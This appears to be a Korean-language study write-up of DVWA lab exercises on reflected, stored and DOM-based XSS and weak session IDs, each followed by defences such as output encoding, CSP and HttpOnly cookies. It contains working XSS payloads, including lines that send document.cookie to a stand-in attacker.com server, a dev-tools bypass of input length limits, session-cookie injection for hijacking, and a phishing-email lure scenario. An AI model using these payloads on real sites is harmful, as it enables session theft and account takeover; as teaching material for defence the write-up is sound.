1. Reflected XSS란?

Reflected XSS (Reflected Cross-Site Scripting)는 웹 애플리케이션에서 사용자가 입력한 데이터를 서버가 제대로 검증하지 않고 바로 반영하는 보안 취약점이다. 공격자는 악성 스크립트를 삽입해 피해자의 브라우저에서 실행시킬 수 있다. 이 공격은 즉시 반영되는 공격이기 때문에 "Reflected"라는 이름이 붙었다.

쿠키 탈취, 피싱 공격, 악성 스크립트 실행 등을 유발할 수 있어 매우 위험하다. 이를 방지하려면 입력 검증과 출력 인코딩이 필수적이다.

작동 원리

Reflected XSS는 주로 URL 파라미터를 통해 악성 코드를 전달하고, 서버는 이를 필터링 없이 그대로 출력한다. 그러면 공격자가 삽입한 스크립트가 피해자의 브라우저에서 실행된다.

2. 실습 과정

1. Reflected XSS 페이지 접속

   

   
   
   • XSS (Reflected) 페이지에 들어가면 "What’s your name?"이라는 입력란이 나온다.
   • 여기에 이름을 입력하고 Submit을 누르면, 페이지에 "Hello [입력한 이름]"이 출력된다.
2. 악성 스크립트 삽입
   • 입력란에 다음과 같은 XSS 스크립트를 삽입한다:
   • <script>alert('your cookies: ' + document.cookie)</script>
   • Submit을 누르면 피해자의 쿠키 정보가 알림창으로 표시된다.

     

3. 악성 링크 생성 및 이메일 발송 
   • 쿠키 정보가 포함된 URL을 복사하여, 메일에 포함시킨다.
   • 예를 들어, 링크는 다음과 같다:

   • http://192.168.174.131/dvwa/vulnerabilities/xss/?name=<script>alert('your cookies: ' + document.cookie)</script>

   • 이 링크를 긴급 메일인 척 보내서 피해자가 클릭하도록 유도한다.

   • 

4. 피해자 링크 클릭 후 쿠키 정보 확인
   • 피해자가 해당 링크를 클릭하면, 알림창이 뜨고 쿠키 정보가 나타난다.
     

     

   • 이 스크립트는 쿠키 정보를 탈취할 수 있으며, 다른 악성 스크립트를 삽입하여 피싱이나 세션 하이재킹 등 다양한 공격을 할 수 있다.
   추가 예시 (다른 방식의 공격):
   • 이 스크립트는 피해자에게 가짜 로그인 페이지를 보여주어 피싱 공격을 할 수 있다.
   • <script>
     document.body.innerHTML = '<h1>Your session is expired. Please <a href="http://malicious-site.com">login</a></h1>';
     </script>

3. 해당 실습 시나리오.

1. 피해자에게 악성 링크를 전송

• 공격자는 Reflected XSS 취약점이 있는 웹 애플리케이션에서 악성 스크립트를 삽입한다.
• 공격자는 이를 피해자에게 이메일로 보냅니다. 이 이메일은 긴급한 보안 경고인 척 위장하여 피해자가 클릭하게 유도한다.

2. 피해자가 이메일을 통해 악성 링크 클릭

• 피해자는 이메일에 포함된 악성 링크를 클릭한다.
• 링크는 Reflected XSS가 실행되는 페이지로 연결되며, 브라우저에서 스크립트가 실행된다.
  • 예:

http://victim.com/vulnerabilities/xss/?name=<script>alert(document.cookie)</script>

3. 공격자 서버로 쿠키 전송

• 피해자의 브라우저에서 XSS 스크립트가 실행되면, 쿠키 정보가 공격자 서버로 전송된다.
• 예를 들어, document.cookie 값을 Image() 객체를 사용해 공격자 서버로 보내는 방식이다:
•  
• 이 요청은 공격자가 설정한 서버로 쿠키를 전송하는 방식이다.
• <script>
  new Image().src="http://attacker.com/log?cookie=" + document.cookie;
  </script>

4. 공격자가 쿠키 수집

• 공격자 서버는 피해자 쿠키를 수신하고 이를 로그로 기록한다.
  • 예시 로그:
    "GET /log?cookie=PHPSESSID=abcd1234; security=low HTTP/1.1"

5. 공격자 서버에서 쿠키 사용

• 공격자는 세션 하이재킹 등 다른 공격을 위해 이 쿠키 값을 사용할 수 있다.
• 피해자의 세션 쿠키를 얻은 후, 피해자처럼 로그인하거나 중요한 정보를 탈취할 수 있다.

시나리오 요약

1. 공격자는 악성 링크를 이메일로 피해자에게 보냄.
2. 피해자는 이메일 링크를 클릭하여 XSS가 실행되는 페이지에 접속.
3. XSS 스크립트가 실행되어 피해자의 쿠키 정보가 공격자 서버로 전송됨.
4. 공격자는 이 쿠키를 사용해 피해자의 세션을 하이재킹하거나, 피싱 공격을 할 수 있음.

4. Reflected XSS 대응 방안

1. 사용자 입력 검증 (Input Validation)

사용자가 입력하는 모든 데이터는 신뢰할 수 없기 때문에, 이를 서버로 전송하기 전에 검증해야 한다.

• 유효성 검사: 입력값이 예상되는 형식(숫자, 알파벳 등)인지 확인하고, 예상 외의 입력값은 거부한다.
• 길이 제한: 입력 가능한 문자열의 길이를 제한하여 악의적인 긴 스크립트 삽입을 방지한다.

2. 출력 인코딩 (Output Encoding)

사용자가 입력한 데이터를 HTML, JavaScript, CSS 등의 컨텍스트에 안전하게 출력하려면 출력 인코딩이 필수적이다.

• HTML 인코딩: <, >, &, ", ' 등의 문자는 HTML 엔티티로 변환하여 웹 페이지에서 스크립트 실행을 방지한다.
  • 예시: <script> → &lt;script&gt;
• JavaScript 인코딩: JavaScript 내에서 사용자 입력값을 안전하게 사용할 수 있도록 특수 문자를 인코딩한다.
  • 예시: document.write("<script>alert('XSS')</script>") → document.write("&lt;script&gt;alert('XSS')&lt;/script&gt;")

3. HTTP 보안 헤더 설정

웹 서버에서 HTTP 보안 헤더를 설정하여 스크립트 실행을 제한할 수 있다.

• Content Security Policy (CSP): CSP를 설정하여 허용된 출처에서만 스크립트를 로드하고, 외부 스크립트의 실행을 방지할 수 있다.
  • 예시:

  • Content-Security-Policy: script-src 'self'

• X-XSS-Protection: 이 헤더를 활성화하여 브라우저에서 XSS 공격을 탐지하고 이를 차단할 수 있다.
  • 예시:

  • X-XSS-Protection: 1; mode=block

4. 쿠키 보안 설정

쿠키를 사용할 때 보안 설정을 통해 세션 탈취를 방지할 수 있다.

• HttpOnly: 쿠키에 HttpOnly 속성을 설정하면, JavaScript에서 쿠키를 읽지 못하게 할 수 있다.
  • 예시: Set-Cookie: PHPSESSID=12345; HttpOnly
• Secure: Secure 속성을 설정하면, HTTPS 연결에서만 쿠키가 전송된다.
  • 예시: Set-Cookie: PHPSESSID=12345; Secure; HttpOnly

5. 잘못된 URL 처리 방지

사용자가 URL에 악성 스크립트를 삽입할 수 없도록 URL 파라미터 처리에 주의해야 한다.

• 리디렉션 방지: 사용자가 입력한 값이 리디렉션 URL로 처리되지 않도록, URL에 입력값 검증을 한다.
• GET/POST 요청 처리: GET 요청으로 전송된 파라미터 값을 직접적으로 HTML에 삽입하지 않도록 한다. 필요한 경우 서버 측에서 검증 후 출력한다.

6. 보안 라이브러리 및 프레임워크 사용

보안 기능이 내장된 프레임워크를 사용하여 XSS 공격에 대한 방어를 더욱 효과적으로 할 수 있다.

• OWASP ESAPI: 다양한 보안 취약점에 대한 방어 기능을 제공하는 라이브러리다.
• Angular, React, Vue.js 등의 현대적인 웹 프레임워크는 자동으로 출력 인코딩을 처리하여 XSS 공격을 방지한다.

✅ Reflected XSS 대응 방안 요약

1. Stored XSS란?

Stored XSS (Stored Cross-Site Scripting)는 사용자가 입력한 악성 스크립트가 서버에 저장되고, 다른 사용자들이 그 저장된 스크립트를 실행하게 만드는 공격이다. 이는 Reflected XSS와 달리, 공격자가 입력한 악성 코드를 서버에 영구적으로 저장하고, 이후 페이지가 로드될 때마다 그 코드가 자동으로 실행되는 방식이다. 쿠키 탈취, 피싱 공격, 악성 스크립트 실행 등을 유발할 수 있어 매우 위험하다.

작동 원리

1. 사용자가 악성 스크립트를 입력:
   • 예를 들어, 게시판이나 사용자 프로필 수정란에서 사용자가 자바스크립트 코드를 입력한다.
2. 서버에 악성 스크립트 저장:
   • 서버는 이 입력값을 검증 없이 저장합니다. 이 저장된 데이터는 다른 사용자에게도 보여질 수 있다.
3. 다른 사용자가 해당 페이지를 로드:
   • 악성 스크립트가 HTML로 출력되어, 브라우저에서 실행됩니다. 이 과정에서 공격자는 피해자의 쿠키, 세션 정보, 사용자 입력 등을 탈취할 수 있다.

Stored XSS와 Reflected XSS의 차이

• Stored XSS: 공격자가 악성 코드를 서버에 저장하고, 그 후 다른 사용자가 이 악성 코드를 실행하게 만든다.
• Reflected XSS: 공격자가 URL을 통해 악성 코드를 전달하고, 피해자가 해당 URL을 클릭할 때 공격이 실행된다. 저장되지 않음.

2. 실습

1. Stored XSS 페이지 접속

• Stored XSS 취약점이 있는 Sign Guestbook 페이지에 들어갑니다. 이 페이지에서 사용자는 메시지를 입력하고 이를 서버에 저장할 수 있다.
• "Sign Guestbook" 버튼을 눌러 메시지를 입력한다.

2. 악성 스크립트 삽입

• 메시지 입력란에 아래와 같은 악성 스크립트를 삽입한다:
• <script>alert('Stored XSS')</script>

  

• Submit을 누르면, alert('Stored XSS') 실행되어 알림창이 표시됩니다. 이는 Stored XSS 공격이 성공했음을 의미한다.

3. 다시 페이지를 로드하여 XSS 확인

• 다른 페이지로 이동한 후, 다시 Stored XSS 페이지로 돌아가면:
  • 페이지가 새로 로드될 때, 저장된 메시지가 출력되면서 알림창이 다시 뜬다.
  • 이 과정에서 악성 스크립트가 서버에 저장되어 페이지를 로드할 때마다 실행된다.
  • 이 알림창을 통해 스크립트가 서버에 저장되어 실행되는 것을 확인할 수 있다.

4. Name 칸에도 스크립트 삽입 시도

• Name 입력란에 악성 스크립트를 삽입해보려고 한다. 하지만 이 칸에는 입력할 수 있는 글자수에 제한이 있는 것 같다.

5. 입력 제한 확인 및 개발자 도구 사용

• 개발자 도구를 열고 HTML 코드를 확인해보면, maxlength="10" 속성이 보입니다. 즉, Name 칸에는 최대 10글자만 입력할 수 있게 제한되어 있다.
  • <input type="text" name="name" maxlength="10">

6. 입력 제한 우회

• maxlength="10" 속성 값을 1000으로 변경하여 글자 수 제한을 우회할 수 있다.
  • 개발자 도구에서 해당 maxlength="10" 값을 1000으로 수정한다다.

7. Name 칸에 스크립트 삽입 시도

• 이제 Name 칸에 길이가 긴 스크립트를 입력할 수 있다.
• 메시지 입력란과 마찬가지로, Name 칸에도 악성 스크립트를 삽입하고 Submit을 클릭하면, XSS 공격이 실행되는 것을 확인할 수 있다.

3. 해당 실습 시나리오

1. Stored XSS 페이지 접속

• Stored XSS 취약점이 있는 "Sign Guestbook" 페이지에 접속한다다.
• 이 페이지는 사용자가 메시지를 입력하고 이를 서버에 저장할 수 있는 기능을 제공하는 페이지이다.
• "Sign Guestbook" 버튼을 클릭하면 사용자가 입력한 정보가 서버에 저장된다.

2. 악성 스크립트 삽입

• 메시지 입력란에 악성 스크립트를 삽입한다.
• <script>alert('Stored XSS')</script>
• Submit 버튼을 클릭하면 해당 메시지가 서버에 저장되고, Stored XSS라는 알림창이 표시된다.

3. 페이지 리로드 후 악성 스크립트 실행

• 다른 페이지로 이동한 후, 다시 Stored XSS 페이지로 돌아간다.
• 페이지가 새로 로드될 때, 저장된 메시지가 출력되면서 저장된 스크립트가 자동으로 실행된다.
• 알림창이 다시 뜨는 것을 확인할 수 있다. 이 과정은 서버에 악성 스크립트가 저장되어 다른 사용자가 페이지를 로드할 때마다 실행된다는 것을 보여준다.

4. Name 입력란에서도 악성 스크립트 실행 시도

• Name 입력란에도 악성 스크립트를 삽입하려고 시도한다. 하지만 글자 수 제한이 있어 10글자까지만 입력할 수 있다.

5. 개발자 도구로 글자 수 제한 확인

• 개발자 도구를 열고 HTML 코드를 확인해보면, maxlength="10" 속성이 보인다. 즉, Name 입력란에 최대 10글자까지만 입력할 수 있다.
• <input type="text" name="name" maxlength="10">

6. 글자 수 제한 우회

• 개발자 도구에서 maxlength="10" 속성을 1000으로 변경하여 입력 제한을 우회할 수 있다.
• 이제 Name 입력란에 길이가 긴 스크립트를 입력할 수 있으며, Submit을 클릭하면 XSS 공격이 실행된다.

4. Stored XSS 대응 방안

1. 입력값 검증 (Input Validation)

입력값 검증은 사용자가 입력한 데이터를 서버가 올바르게 처리하도록 도와주는 중요한 보안 기법이다. 이 방법을 통해 악성 스크립트가 서버로 전달되는 것을 방지할 수 있다.

• 허용된 값만 받기: 사용자가 입력하는 값은 예상되는 형식으로 제한하고, 예상 외의 입력값은 거부한다.
  • 예를 들어, 숫자만 허용되는 필드에 문자가 입력되지 않도록 제한한다.
  • 이메일 주소 형식, 전화번호 형식 등을 엄격하게 검사한다.
• 입력 길이 제한: 악성 스크립트가 지나치게 길어지는 것을 방지하기 위해, 입력값의 길이를 제한한다.
  • 예: 메시지 길이 제한을 두거나 이름 필드에 글자 수를 제한하는 등의 조치.

2. 출력 인코딩 (Output Encoding)

출력 인코딩은 웹 애플리케이션에서 사용자가 입력한 데이터를 HTML, JavaScript, CSS 등의 컨텍스트에서 안전하게 출력할 수 있도록 변환하는 작업이다.

• HTML 인코딩: <, >, &, ", ' 등의 특수 문자를 HTML 엔티티로 변환하여, 브라우저에서 스크립트 실행을 방지한다.
  • 예시: <script> → &lt;script&gt;
• JavaScript 인코딩: 사용자 입력값이 JavaScript 컨텍스트에서 사용될 때, 특수 문자를 인코딩하여 스크립트 실행을 방자한다.
  • 예시: document.write("<script>alert('XSS')</script>") → document.write("&lt;script&gt;alert('XSS')&lt;/script&gt;")
• CSS 인코딩: CSS 내에서도 사용자가 입력한 값을 출력할 때, CSS 특수 문자를 인코딩하여 악성 스타일이 적용되지 않도록 해야 한다.

3. HTTP 보안 헤더 설정

HTTP 보안 헤더를 설정하여 XSS 공격을 예방할 수 있습니다. 보안 헤더는 브라우저가 악성 스크립트를 차단하는 데 도움을 준다.

• Content Security Policy (CSP): CSP는 브라우저가 스크립트의 출처를 제한하도록 강제하는 보안 기능이다. 이를 통해 외부 스크립트나 서버에 저장된 악성 스크립트를 차단할 수 있다.
  • 예시:
  • Content-Security-Policy: script-src 'self'
  • 이 설정은 자체 도메인에서만 스크립트를 로드하도록 제한하여, 외부 악성 스크립트의 실행을 차단한다.
• X-XSS-Protection: 이 헤더는 브라우저가 XSS 공격을 감지하고 차단하도록 도와준다.
  • 예시:
  • X-XSS-Protection: 1; mode=block
  • 이 설정은 브라우저에서 XSS 공격을 감지하면, 해당 페이지를 차단하도록 한다.

4. 쿠키 보안 설정

쿠키 보안 설정을 통해 세션 탈취를 방지할 수 있다. XSS 공격을 통해 세션 쿠키가 탈취되는 경우가 많으므로, 이를 보호하는 설정이 필요하다.

• HttpOnly: 쿠키에 HttpOnly 속성을 설정하면, 자바스크립트에서 쿠키를 읽을 수 없게 된다. 이를 통해 XSS 공격자가 쿠키 값을 탈취할 수 없다.
  • 예시: Set-Cookie: PHPSESSID=12345; HttpOnly
• Secure: Secure 속성을 설정하면, HTTPS 연결에서만 쿠키가 전송된다. 이를 통해 중간자 공격을 방지할 수 있다.
  • 예시: Set-Cookie: PHPSESSID=12345; Secure; HttpOnly

5. URL 파라미터 처리

사용자가 URL 파라미터로 악성 스크립트를 삽입하는 경우가 많으므로, 이를 안전하게 처리하는 방법이 필요하다.

• URL 인코딩: URL 내에 특수 문자가 포함되지 않도록, URL 인코딩을 사용하여 안전하게 데이터를 처리해야 한다.
  • 예시:
    <script>alert('XSS')</script> → %3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E
• 파라미터 검증: 서버에서 URL 파라미터가 안전한지 확인하고, 예상되는 형식의 데이터만을 처리하도록 검증한다.

6. 보안 라이브러리 사용

• OWASP ESAPI: 다양한 보안 취약점에 대한 방어 기능을 제공하는 라이브러리다.
• React, Angular, Vue.js 등 현대적인 웹 프레임워크는 자동으로 출력 인코딩을 처리하여 XSS 공격을 방지한다.

Stored XSS 대응 방안 요약

1. Weak Session IDs 정의

웹 애플리케이션에서 사용자의 상태를 유지하기 위해 사용하는 Session ID는 사용자를 식별하는 핵심 열쇠다. 그런데 이 세션 아이디가 예측 가능하거나 너무 단순하다면, 공격자는 해당 ID를 추측해서 로그인 상태를 탈취할 수 있다. 이러한 취약한 세션 아이디를 Weak Session ID (취약한 세션 식별자)라고 부른다.

Set-Cookie: PHPSESSID=abc123;

Cookie: PHPSESSID=abc123

🔒 Weak Session ID란?

공격자가 쉽게 예측할 수 있는 방식으로 생성된 세션 식별자

이는 보통 다음과 같은 경우를 의미한다:

• 세션 아이디가 순차적 숫자로 증가함 (예: 1, 2, 3, …)
• 세션 아이디가 너무 짧거나 고정된 패턴을 따름
• 시간 기반(timestamp)처럼 예측 가능한 값으로 생성됨
• 암호학적으로 안전하지 않은 함수로 생성됨 (rand(), time() 등)
• HTTP 응답을 통해 그대로 노출됨

🔍 예시

Set-Cookie: dvwaSession=1

이처럼 dvwaSession=1과 같이 숫자만 증가하는 세션 아이디는 공격자 입장에서 손쉽게 예측할 수 있고, 다른 사용자의 세션으로 접근하는 데 악용될 수 있다.

⚠️ 왜 위험한가?

• 세션 ID만 알아내면, 로그인 없이도 특정 사용자로 가장할 수 있음
• 로그인 정보가 노출되지 않아도 세션 하이재킹(Session Hijacking) 발생 가능
• 인증 절차를 무력화시키므로 보안적으로 가장 심각한 취약점 중 하나

2. 실습

이번 실습은 DVWA에서 제공하는 취약한 세션 아이디 생성 방식을 이용해, 세션 하이재킹 공격이 얼마나 쉽게 이뤄질 수 있는지를 직접 체험해보는 과정이다.

🎯 실습 목표

• Weak Session ID가 무엇인지 실제로 관찰하기
• Burp Suite를 통해 세션 아이디가 어떤 방식으로 만들어지는지 확인하기
• 크롬에서 세션 ID를 얻은 뒤, 파이어폭스에서 하이재킹 시도
• 세션 ID만으로 로그인 없이 인증 우회가 가능한지 검증

🛠️ 실습 환경

• DVWA가 설치된 로컬 서버 (예: http://localhost/DVWA)
• 크롬 브라우저 (피해자 역할)
• 파이어폭스 브라우저 (공격자 역할)
• Burp Suite (HTTP 통신 감청 및 분석)

🧪 실습 과정

1. Weak Session ID 페이지로 이동
   • DVWA 로그인 후, 좌측 메뉴에서 "Weak Session IDs" 클릭
   • 페이지 내의 [Generate] 버튼 클릭 → 서버가 새로운 세션 ID 생성

     

2. Burp Suite로 HTTP 통신 관찰
   • Burp Suite의 Proxy 탭에서 HTTP 요청과 응답을 가로채기
   • 응답(Response) 헤더에서 Set-Cookie: dvwaSession=1 형태의 세션 아이디 확인

     

     
     
    
3. [Generate] 버튼 반복 클릭
   • 매번 누를 때마다 세션 ID가 1씩 증가하는 것을 확인 가능
     (예: 1 → 2 → 3 → 4...)
   • 
4. 세션 정보 정리
   • Burp Suite 응답에서 dvwaSession 값과 PHPSESSID 값을 따로 메모
   • 또는 크롬 개발자도구 → Application 탭 → Cookies에서 확인 가능

     

      

     

     
     
     
   • 더보기

     • DVWA는 일부러 여러 개를 쓴 특수한 경우
     • PHPSESSID → 실제 로그인 상태 유지
     • dvwaSession → 보안 실습을 위해 만든 취약한 출입증 (교육용 도구)

     즉, 여러 개의 세션 ID를 쓰는 건 "가능하지만", 일반적인 웹 개발에서는 권장하지 않는다.

5. 공격자 브라우저(Firefox)로 이동
   • 로그인하지 않은 상태에서 http://localhost/DVWA 접속
    
6. Firefox 개발자도구 → Storage 탭 → Cookies 편집
   • PHPSESSID와 dvwaSession 항목을 추가/수정(PHPSESSID값만으로는 접속이 안된다.)

     

     
     
     • 이름: PHPSESSID / 값: 크롬에서 확인한 값
     • 이름: dvwaSession / 값: 크롬에서 확인한 값

       

       
       
       
7. 페이지 새로고침
   • 세션 ID만으로 인증 우회 성공 시, 로그인하지 않았는데도 로그인된 사용자 상태로 접근 가능

3. 시나리오

이번 실습은 공격자가 피해자의 세션 아이디를 탈취하여 로그인 없이 인증을 우회하는 과정을 시뮬레이션하는 시나리오다. 아래는 실제로 발생할 수 있는 상황을 단순화한 예시로, 실습 흐름과 보안 취약점의 상관관계를 쉽게 이해할 수 있다.

🧑 피해자 A

• Chrome 브라우저를 통해 DVWA에 로그인
• 서버는 A에게 세션 ID를 부여 (dvwaSession=2, PHPSESSID=abcd1234...)
• A는 로그인 후 정상적으로 DVWA 기능을 사용 중

🕵️ 공격자 B

• 같은 네트워크에 있거나, 악성 스크립트를 통해 A의 세션 쿠키 값을 탈취
• 탈취한 값:
  • dvwaSession=2
  • PHPSESSID=2bb1407f5fa655235e55579f73ce3bd5
• Firefox 브라우저에서 http://localhost/DVWA 접속
• 개발자 도구 → Storage → Cookies에서 위 쿠키 값들을 직접 주입
• 페이지 새로고침(F5)

🎯 결과

• 로그인하지 않았음에도 A의 로그인 상태 그대로 웹사이트에 접근 가능
• A가 설정해둔 보안 레벨, 진행 중이던 공격 실습 등 모든 정보가 그대로 노출됨

🚨 이 시나리오가 보여주는 위험

• 로그인 정보를 모르더라도, 세션 ID 하나만 탈취하면 인증이 무력화될 수 있다
• 이는 실제 웹 서비스에서도 흔히 발생하는 **세션 하이재킹(Session Hijacking)**의 전형적인 예시다
• 특히 Weak Session ID 구조일 경우, 탈취 없이도 단순히 추측만으로도 공격이 가능해진다

💬 현실적 예시로 풀면?

마치 누군가 내 사물함의 비밀번호를 추측해서 열어본 뒤,
내가 열어둔 상태 그대로 들어가 사용하는 것과 같다.
심지어 비밀번호를 직접 몰라도, 번호가 0001, 0002, 0003... 처럼 단순하다면
열릴 때까지 시도하는 게 어렵지 않다.

4. 대응방안

이러한 취약점을 방지하기 위해 웹 애플리케이션은 반드시 다음과 같은 보안 조치를 취해야 한다.

✅ 1. 세션 ID를 예측 불가능하게 생성

• rand() 같은 단순 함수 대신, 반드시 암호학적으로 안전한 난수 생성기 사용
  • PHP에서는 bin2hex(random_bytes(32)) 추천
• 세션 ID는 길고 무작위한 문자열이어야 하며,
  • 예: 0af98e67cd29c113c3e2bb0c... (32자리 이상)

✅ 2. HTTPS 사용

• 세션 ID가 HTTP 요청/응답 헤더에 평문으로 전달되기 때문에,
• 반드시 HTTPS(SSL/TLS) 를 사용하여 중간자 공격을 방지해야 함

✅ 3. 세션 고정 방지 (Session Fixation)

• 로그인 시 반드시 기존 세션을 폐기하고 새로운 세션 ID를 생성해야 함
  • PHP에서는 session_regenerate_id(true); 사용
• 공격자가 미리 세션 ID를 설정해두는 세션 고정 공격 방어 가능

✅ 4. 세션 수명과 타임아웃 설정

• 일정 시간 활동이 없으면 세션 자동 만료
• 접속 종료 시 세션 삭제 (서버 측에서도 종료 처리)
• 쿠키에 Expires, Max-Age 속성 설정

✅ 5. 세션 도난 방지를 위한 부가 확인

• 세션 사용 시 IP 주소, 브라우저 정보(User-Agent) 등을 같이 확인
• 정보가 달라지면 세션 무효화
• PHP에선 사용자별 정보로 해시값을 만들고 세션에 같이 저장하는 방식 사용 가능

1. DOM XSS란 무엇인가?

DOM XSS는 웹사이트가 주소창(URL)에 있는 값을 자바스크립트로 가져와 화면에 보여줄 때, 그 값을 제대로 검사하지 않고 그대로 실행해버리는 보안 취약점이다.

이 취약점이 있는 웹사이트는, 사용자가 <script> 같은 악성 코드를 주소에 넣었을 때도 그 내용을 실제로 실행시켜버릴 수 있다.

특징은 다음과 같다:

• 서버가 아닌 브라우저 안의 자바스크립트가 문제다.
• 주소창의 값만 바꿔도 공격이 가능하다.
• 피해자는 링크만 클릭해도 쿠키 탈취, 피싱 유도, 화면 조작 등을 당할 수 있다.

즉, DOM XSS는 웹사이트가 입력값을 안전하게 처리하지 않아서, 사용자가 만든 악성 코드가 브라우저에서 그대로 실행되는 문제이다.

var value = location.href.split("lang=")[1];
document.body.innerHTML = value;

http://example.com/page?lang=alert(1)

2. DOM XSS 실습 정의

실습 환경은 리눅스 서버에서 구성된 DVWA 웹페이지이며, 보안 수준을 ‘Low’로 설정해 필터링 없이 공격이 가능한 상태에서 실험을 진행한다.

이 실습의 핵심은 웹페이지가 자바스크립트를 이용해 주소창(URL)의 값을 읽어 웹 화면에 그대로 보여주는 구조를 갖고 있다는 점이다. 이 구조 덕분에 공격자는 URL에 악성 스크립트를 삽입함으로써 브라우저 내부에서 자바스크립트가 실행되게 만들 수 있다.

실습을 통해 우리는:

• 어떻게 URL에 입력한 값이 화면에 반영되는지
• 그 값이 어떻게 JavaScript에 의해 실행되는지
• 어떤 식으로 악성 스크립트를 삽입해 공격할 수 있는지

를 직접 확인하고 이해하게 된다.

2-1. DOM XSS 실습 과정

(0) 개발자 도구에서 자바스크립트 동작을 확인할 수 있다

먼저 개발자 도구(F12)를 열어 웹페이지의 소스를 분석해보면, <script> 태그 안에서 document.location.href를 사용해 URL 값을 읽고, document.write()를 통해 웹페이지에 내용을 삽입하는 자바스크립트 코드가 존재한다. 이처럼 브라우저에서 주소창 값을 자바스크립트가 직접 읽어 DOM을 수정하고 있다는 것은, 이 페이지가 DOM XSS에 취약할 수 있다는 강력한 근거가 된다.

(1) DOM XSS 메뉴에 접속하면 언어를 선택할 수 있는 화면이 나온다

DVWA에서 "DOM Based XSS" 메뉴를 클릭하면, "Please choose a language"라는 문구와 함께 언어 선택 드롭다운과 "Select" 버튼이 보인다.

(2) 언어를 선택하고 Select 버튼을 누르면 URL에 default=English가 붙는다

예를 들어 ‘English’를 선택하고 Select를 누르면, 브라우저 주소창(URL)에 다음과 같은 파라미터가 붙는다:

http://localhost/DVWA/vulnerabilities/xss_d/?default=English

이때, 웹페이지는 URL에 포함된 default 값을 읽어 드롭다운 목록의 기본 선택값으로 설정한다.

(3) 이 값을 pizza처럼 바꿔보면 목록에 없는 항목이 화면에 나타난다

주소창의 default=English를 default=pizza로 바꾸고 새로고침하면, 기존 목록에 없던 "pizza"라는 값이 드롭다운에 새롭게 나타난다. 이는 자바스크립트가 URL 값을 그대로 가져와 화면을 구성하고 있다는 것을 보여준다. 이 구조라면, 사용자가 <script> 태그 같은 코드를 넣어도 그대로 실행될 수 있음을 의미한다.

(4) <script>document.body.style.background='red'</script> 입력 시 배경이 빨간색으로 바뀐다

이 스크립트를 URL에 넣고 실행하면 페이지의 배경색이 빨간색으로 바뀐다. 이는 자바스크립트가 실행되고 있다는 명백한 증거이다.

(5) <script>location.href='https://www.naver.com'</script> 입력 시 네이버로 이동된다

이번에는 URL 조작을 통해 페이지를 외부 사이트로 리디렉션시키는 것도 가능하다. 이 역시 DOM 조작을 통해 실행된 자바스크립트가 작동했음을 의미한다.

(6) <script>document.body.innerHTML='💥 hahahahaha.'</script> 입력 시 페이지 전체 내용이 바뀐다

페이지의 모든 내용이 공격자가 입력한 메시지로 대체된다. 사용자의 시각적 혼란을 유도하거나 피싱 페이지로 가장할 수 있는 공격 방식이다.

(7) <script>alert('your cookies: ' + document.cookie)</script> 입력 시 쿠키 정보가 알림창으로 표시된다

웹브라우저가 가진 쿠키 정보가 그대로 알림창에 출력된다. 사용자의 세션 쿠키를 노출시킬 수 있으며, 이는 곧 세션 탈취로 이어질 수 있다.

💥 추가: 실제 공격 시나리오 (이론)

실제 공격자는 아래와 같은 스크립트를 URL에 삽입해, 사용자의 쿠키를 외부 서버로 전송할 수 있다:

  fetch('<a href=http://attacker.com/log?cookie='>http://attacker.com/log?cookie='</a> + document.cookie);

이 링크를 이메일, 메신저, 블로그 등에 심어두고 사용자가 클릭하게 만들면, 사용자의 쿠키가 공격자 서버로 전송된다. 공격자는 이 쿠키를 통해 피해자의 계정에 무단 접근할 수 있다.

3. 공격 시나리오

DOM XSS는 사용자가 직접 입력한 값이 자바스크립트에 의해 브라우저에서 실행되기 때문에, 공격자가 특별한 서버 권한 없이도 간단한 링크 하나만으로 피해자를 속일 수 있다는 점이 매우 위험하다.

아래는 공격자가 DOM XSS 취약점을 이용해 실제로 공격을 수행하는 시나리오이다.

① 취약한 웹페이지 발견

공격자는 어떤 웹사이트가 URL의 특정 값(예: default)을 읽어서 화면을 구성한다는 사실을 발견한다. 개발자 도구나 테스트 입력을 통해, 이 값이 자바스크립트를 통해 그대로 DOM에 삽입된다는 점도 확인한다.

② 악성 코드 삽입 테스트

공격자는 아래와 같은 URL을 직접 브라우저에 입력해 테스트해본다:

http://victim.com/page?default=alert('XSS')

브라우저에서 알림창이 뜨면, 자바스크립트가 실행되었다는 뜻이다. 이로써 DOM XSS 취약점이 있다는 사실을 확인한다.

③ 악성 링크를 인코딩해서 전파

이제 공격자는 아래와 같은 방식으로 실제 공격을 준비한다:

http://victim.com/page?default=%3Cscript%3Efetch('http://attacker.com/log?cookie='%2Bdocument.cookie)%3C/script%3E

위 URL은 fetch() 함수를 통해 피해자의 쿠키를 공격자의 서버로 보내는 코드가 들어가 있다. <script> 태그는 URL 인코딩되어 있어 겉으로 보기엔 일반적인 링크처럼 보인다.

④ 피해자에게 링크를 전송

공격자는 이 악성 링크를 이메일, 메신저, 블로그 댓글, SNS DM 등을 통해 무심코 클릭하게 만든다. 링크를 클릭한 피해자는 아무런 의심 없이 웹페이지에 접속하게 되고, 그 순간 브라우저에서 자바스크립트가 실행되어 쿠키가 외부로 전송된다.

⑤ 세션 탈취 및 계정 도용

피해자의 쿠키에는 로그인 정보(세션 토큰)가 들어 있다. 공격자는 이 쿠키 값을 브라우저에 삽입하면, 로그인 없이도 피해자의 계정에 접근할 수 있게 된다. 이를 통해 게시글 작성, 정보 탈취, 계정 변경 등 다양한 악의적 행위를 할 수 있다.

💥 한 줄 요약

공격자는 주소만 살짝 조작해서, 피해자가 클릭하는 순간 브라우저에서 악성 코드가 실행되고, 그 결과로 쿠키, 로그인 세션, 개인정보 등이 유출될 수 있다.

4. 해결 방안

DOM XSS는 브라우저 내부의 자바스크립트가 문제를 일으키는 취약점이기 때문에, 서버 측 필터링만으로는 막을 수 없다. 자바스크립트 코드를 짤 때부터 사용자의 입력값을 어떻게 다루느냐가 핵심이다.

다음은 DOM XSS를 예방하기 위한 주요 대응 방법이다.

✅ 1. innerHTML, document.write() 대신 안전한 DOM 조작 방식 사용

element.textContent = userInput;

• innerHTML이나 document.write()는 자바스크립트 코드나 HTML 태그를 그대로 실행시킬 수 있으므로 위험하다.
• 대신 textContent나 setAttribute()처럼 코드를 실행하지 않고 문자 그대로 표시하는 방법을 사용해야 한다.

✅ 2. 입력값을 반드시 검증 및 인코딩

function sanitize(input) {
  return input.replace(/</g, "&lt;").replace(/>/g, "&gt;");
}

• 입력값에 <, > 같은 HTML 태그가 포함되면 스크립트로 해석되지 않도록 변환해야 한다.
